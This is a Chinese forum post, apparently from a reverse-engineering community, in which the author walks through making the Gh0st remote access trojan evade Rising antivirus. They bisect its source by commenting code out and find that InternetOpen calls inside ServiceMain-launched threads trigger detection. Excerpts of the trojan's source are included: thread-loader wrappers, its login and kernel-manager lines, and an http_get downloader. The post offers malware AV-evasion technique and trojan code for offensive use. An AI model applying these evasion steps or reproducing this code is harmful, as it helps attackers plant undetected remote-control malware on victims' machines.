申请邀请码 文章二
最近几天做Gh0st免杀,在做到瑞星免杀时,碰到一个有些棘手的问题,输出表中ServiceMain总是被杀,新增输出函数还是移动位置都会被杀。本人前几天还上看雪咨询了一下,见帖 http://bbs.pediy.com/showthread.php?t=114979
由于是做源代码免杀,而且要对gh0st做很多改动,加上本人非常讨厌非驱动类程序里面夹杂asm代码,所以实在不想用什么函数名加密法。于是只能硬着头皮研究一下瑞星查杀的特点。
首先找出几个系统自带的由svchost启动的服务dll,分析其ServiceMain入口,对比gh0st的情况,发现没什么两样,然后用瑞星查杀一下,没报为病毒。这情况说明瑞星杀ServiceMain还有别的条件在里面,那别的条件是什么呢?于是我再次打开gh0st工程,找到ServiceMain函数入口,怎么分析呢,还是一段一段代码检查吧!
第1步将该函数所有实现代码全注释掉,编译用瑞星查杀,发现瑞星没报病毒,看来分析思路是对的。
第2步从上到下每次开启一部分代码进行编译,然后用瑞星查杀,最后发现下面这行代码开启的时候,瑞星肯定会报病毒
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
那么这段代码是干嘛的呢,进去分析一下,是个线程创建函数,其中main是线程中的主调函数,svcname是线程参数,该线程参数最后被传做main函数的参数。
难道ServiceMain里面不能创建线程?于是写了一段线程创建的代码替代该位置的MyCreateThread函数,编译,用瑞星查杀,没报病毒,说明不是线程创建的原因。
难道是线程入口的原因?在ServiceMain里面创建线程函数为ThreadLoader的线程会当成木马?
于是我copy一份ThreadLoader,将函数名改了一下如XXThreadLoader,在MyCreateThread函数实现中,用XXThreadLoader代ThreadLoader,编译,用瑞星查杀,瑞星报出病毒,说明瑞星并不将ThreadLoader作为判断病毒的第2条件。
看来要对MyCreateThread好好整一下,将MyCreateThread copy出一份,将函数名改为xxyy,将原来的“一级”线程创建改为“二级”线程创建,修改后的实现代码类似如下形式:
HANDLE xxyy ()
{
HANDLE hThread = INVALID_HANDLE_VALUE;
_beginthreadex(NULL,
0,
MS_ThreadLoader,
&hThread,
0,
NULL
);
}
unsigned int __stdcall MS_ThreadLoader(LPVOID param)
{
HANDLE* pHThread = (HANDLE*)param;
*pHThread = (HANDLE)_beginthreadex(NULL,
0,
XX_ThreadLoader,
param,
0,
NULL
);
return 0;
}
unsigned int __stdcall XX_ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
#ifdef _DLL
try
{
#endif
main(param);
#ifdef _DLL
}catch(...){};
#endif
return nRet;
}
编译,进行查杀,可惜,还是被杀,
看来这种变动线程入口的方法不能凑效。
那么把这段线程创建代码扔到dll入口函数DllMain的实现里面可以躲过查杀?
试试看,将xxyy函数调用从ServiceMain移到DllMain里面,编译,进行查杀,不好,照样被杀。
看来DllMain也被盯得很紧。
难道是线程里面的主调函数main的原因?应该是这里,将main copy出一份,将函数名改为gmain,将XX_ThreadLoader中main调用改为gmain,开始分析gmain的各段实现代码的影响,如上面分析MyCreateThread同样的方法。
第1步,注释掉gmain中所有实现代码,编译,进行查杀,很好,没报病毒,看来思路对了。
第2步,从上到下每次开启一部分代码进行编译,然后进行查杀,最后发现下面这3行代码开启的时候,会报病毒:
SetUnhandledExceptionFilter(bad_exception);
if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost,
&dwProxyPort, &lpszProxyUser, &lpszProxyPass))
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
其中SetUnhandledExceptionFilter(bad_exception) 这一行是调用了MyCreateThread,这行代码暂时注释掉不管它。
进入getLoginInfo,同样用“注释”、“开启”部分实现代码进行分析,发现
只要是InternetOpen调用被启用时,瑞星就报病毒。
说明InternetOpen调用很有可能是“第2特征条件”。
将getLoginInfo里面的从InternetOpen调用开始部分算起的“那段代码”注释掉,进入CKernelManager分析阶段。
开始分析CKernelManager
首先注释掉CKernelManager的构造函数中所有代码,进行查杀,还是被杀。空的也被杀,说明什么呢?
说明这时瑞星的“追杀”已到整个类,不管这个类的成员函数是否被调用。
继续用“注释”、“开启”部分实现代码进行分析,发现下面2行代码开启时会报病毒:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
if (UpdateServer((char *)lpBuffer + 1))
对这2行代码继续分析下去,发现问题都出在http_get这个函数调用上,我们再来看http_get的实现代码:
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
HINTERNET hInternet, hUrl;
HANDLE hFile;
char buffer[1024];
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
BOOL bIsFirstPacket = true;
BOOL bRet = true;
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
if (hInternet == NULL)
return false;
hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL)
return false;
//剩下的部分省去了
......
}
咦,这么巧,这个函数也调到了InternetOpen这个api,getLoginInfo也调用了这个api,难道这个api就不能让它调用?应该是这个地方。
把几个InternetXXX调用的地方全部注释掉,将ServiceMain中MyCreateThread调用那行恢复
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
注释掉分析时xxyy函数的调用,编译,进行查杀,瑞星不再报病毒。
总结:
据此我们就能判断出瑞星杀ServiceMain时的第2特征条件就是 InternetXXX的调用上,不管你是“多级线程”调用,还是将涉及第2特征条件的代码移动到DllMain,它都能“追索”到,而且这种“追索”是涵盖整个类的所有成员函数,即使这个成员函数当时没被调用过。
这也从另一个角度说明,有时也不要过于相信MyCCL定位特征码时所确定的“特征码”位置
[培训]《安卓高级研修班(网课)》月薪三万计划